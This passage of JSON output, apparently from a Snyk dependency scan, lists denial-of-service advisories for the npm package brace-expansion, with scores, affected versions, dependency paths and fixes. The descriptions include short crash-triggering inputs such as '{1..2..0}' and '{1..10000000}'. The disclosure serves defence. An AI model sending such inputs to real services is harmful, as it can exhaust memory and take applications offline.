"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" 